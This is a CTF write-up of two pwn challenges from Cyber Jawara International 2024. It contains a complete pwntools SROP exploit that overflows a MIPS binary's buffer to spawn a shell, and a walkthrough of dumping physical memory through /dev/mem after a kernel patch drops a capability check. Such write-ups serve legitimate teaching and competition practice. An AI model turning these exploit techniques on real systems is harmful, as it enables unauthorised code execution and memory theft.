# Writeup The Cyber Jawara International 2024 ![image](https://hackmd.io/_uploads/SyXWOckZ1x.png) Recently, I had the chance to participate in [The Cyber Jawara International 2024 CTF](https://ctftime.org/event/2552/) competition as part of the _TCP1P x SNI x MAGER_ team. This team is a merger of three groups: SNI (my team), TCP1P, and MAGER. We are thrilled to have achieved first place in this competition. I managed to solve three PWN challenges—two during the event and one afterward. In the following writeup, I will explain the approach and solutions I used for each challenge I completed. ## Mipsssh > I give you flag so Sssshhhhhhhhhhhhhhhh.... okay? IYKWIM > > `nc 152.42.183.87 10015` > > Author: **Linz** ### Initial Analysis We received a binary file named `sssh`. After an initial inspection, we identified it as a MIPS binary. Since the binary is statically linked, we can conveniently run it in our terminal using `qemu-mips` without needing a Dockerfile to replicate the remote environment locally. Running `checksec` on the binary reveals the following protections: ![image](https://hackmd.io/_uploads/rJeqmoJbJl.png) Notice that while `checksec` indicates stack protection (canary) is enabled, it actually applies only to libc functions, as the binary is statically linked. As shown in the following image, the `main` function lacks a canary. ![image](https://hackmd.io/_uploads/HJQX8s1Z1g.png) ### Vulnerability In the `main` function, we observe a buffer named `auStack_28` that is allocated 32 bytes of space. However, the `fgets` function is used to read up to 0x1000 (4096) bytes from `stdin` into this buffer. This discrepancy between the buffer’s allocated size (32 bytes) and the maximum read length (4096 bytes) creates a classic _buffer overflow_ vulnerability, as `fgets` can write far beyond the bounds of `auStack_28`, potentially overwriting adjacent memory on the stack. The objective of this challenge is to exploit the buffer overflow vulnerability to call `execve("/bin/sh", 0, 0)`, gaining a shell. ### Exploitation Notice that we have a large buffer overflow (around 4000 bytes). Since this is a statically linked binary, a `syscall` instruction must be present. With these factors combined, we can use the SROP (Sigreturn Oriented Programming) technique. This approach simplifies our work by eliminating the need to search for numerous gadgets in an unfamiliar architecture. However, first, we need to understand how to perform a syscall in MIPS. In MIPS, syscalls are performed using the `syscall` instruction, with specific registers set up to define the syscall number and its arguments. The syscall number is placed in register `$v0`, while the arguments are placed in registers `$a0`, `$a1`, `$a2`, and `$a3` for up to four parameters. Additional arguments, if needed, are passed in registers `$t0` and beyond, depending on the syscall’s requirements. When the syscall instruction executes, the operation corresponding to the number in `$v0` is performed, and any return value is stored in `$v0` as well. ![image](https://hackmd.io/_uploads/rJBp3jkZJx.png) Since we want to call the `sigreturn` syscall, we only need to set the `$v0` register to `4119`, and we do not need to set any additional registers for the arguments. This significantly simplifies our task, as we only need to search for a gadget that loads the `$v0` register from the stack. Fortunately, such a gadget exists and includes a `syscall` instruction immediately afterward. ![image](https://hackmd.io/_uploads/rJvix2Jbyx.png) In this challenge, we performed two `sigreturn` syscalls. The first was used to pivot the stack into the `.bss` section, as we needed to write the string "/bin/sh" to a known address. Since PIE is disabled, we can accurately determine the address for this string. The second `sigreturn` syscall was utilized to execute `execve("/bin/sh", 0, 0)`, ultimately allowing us to spawn a shell. Here is the full exploit: ```python= #!/usr/bin/env python3 from pwn import * context.terminal = "kitty @launch --location=split --cwd=current".split() def start(argv=[], *a, **kw): if args.LOCAL: argv = argv if argv else [exe.path] if args.GDB: return gdb.debug(argv, gdbscript=gdbscript, *a, **kw) return process(argv, *a, **kw) return remote(args.HOST or host, args.PORT or port, *a, **kw) def safe_flat(*args, unsafe_chars=b"\n", **kwargs): p = flat(args, **kwargs) if any(c in unsafe_chars for c in p): raise ValueError("unsafe:", p) return p gdbscript = """ b main c """ host, port = args.HOST or "152.42.183.87", args.PORT or 10015 exe = context.binary = ELF(args.EXE or "./sssh", False) io = start() # define SYS_sigreturn (4000 + 119) # define SYS_execve (4000 + 11) # 0x0040ee30: lw $v0, 0x18($sp); syscall; jr $ra; move $v1, $a3; # 0x00404da8: syscall; jr $ra; nop; payload1 = safe_flat( { 36: 0x40EE30, 64: 4119, # v0 -> sigreturn 76: exe.sym["main"], # pc 316: 0x493000, # sp }, ) payload2 = safe_flat( { 0: b"/bin/sh\0", 36: 0x40EE30, 64: 4119, # v0 -> sigreturn 76: 0x404DA8, # pc 100: 4011, # v0 -> execve 116: 0x492FD8, # a0 124: 0, # a1 132: 0, # a2 }, ) io.sendline(payload1) io.sendline(payload2) io.interactive() ``` ![image](https://hackmd.io/_uploads/H1yvz2kW1x.png) ## backdoored_kernel > I was learning how to compile a kernel and my friend tampered with a file. Its just 3 lines, right? No way its a backdoor... right? > > `nc 152.42.183.87 10022` > > Author: **Zafirr** ### Initial Analysis We are given an archive file containing the following contents: ![image](https://hackmd.io/_uploads/Hyh6WAy-kx.png) The author has provided a patch file named `backdoor.patch`. Let’s examine its contents. ```diff= --- a/linux-6.11.5/drivers/char/mem.c +++ b/linux-6.11.5/drivers/char/mem.c @@ -606,9 +606,6 @@ { int rc; - if (!capable(CAP_SYS_RAWIO)) - return -EPERM; - rc = security_locked_down(LOCKDOWN_DEV_MEM); if (rc) return rc; ``` The patch modifies the source code of the Linux kernel, specifically within the `mem.c` file located in the `drivers/char` directory. It removes the conditional check for the `CAP_SYS_RAWIO` capability in the `open_port` function. This capability check previously ensured that only processes with the appropriate permissions could perform raw I/O operations on `/dev/mem`. ### Vulnerability According to [this page](https://bakhi.github.io/devmem/), `/dev/mem` is a special Linux file that provides access to computer's physical memory. However, it can only be accessed if the kernel is configured with `CONFIG_STRICT_DEVMEM=n`, which is the case in this challenge. ![image](https://hackmd.io/_uploads/Hy0UUCJ-1g.png) In essence, this patch permits all processes to directly read and write to physical memory through `/dev/mem`, creating a critical vulnerability. ### Exploitation Since we are dealing with physical memory, we can search for the flag directly within it. Initially, we attempted to test whether we could read from `/dev/mem` using existing programs like `xxd` and `dd`, and we were able to do so successfully. ![image](https://hackmd.io/_uploads/HktKd01byl.png) This can significantly simplify our task, as we may not need to compile our program. The only challenge is determining the address of the flag in physical memory. Our solution is based on the assumption that the address of the flag is static every time the kernel is booted, as the file system is also static since we haven't added anything to it. Therefore, we only need to debug the kernel and search for the physical address of the flag. ![image](https://hackmd.io/_uploads/rJapj0k-1e.png) We found that the physical address of the flag is 44335104. Finally, we can use `dd` to dump the flag. ![image](https://hackmd.io/_uploads/HyY030Jbke.png) ## Babybrowser _Will be written soon_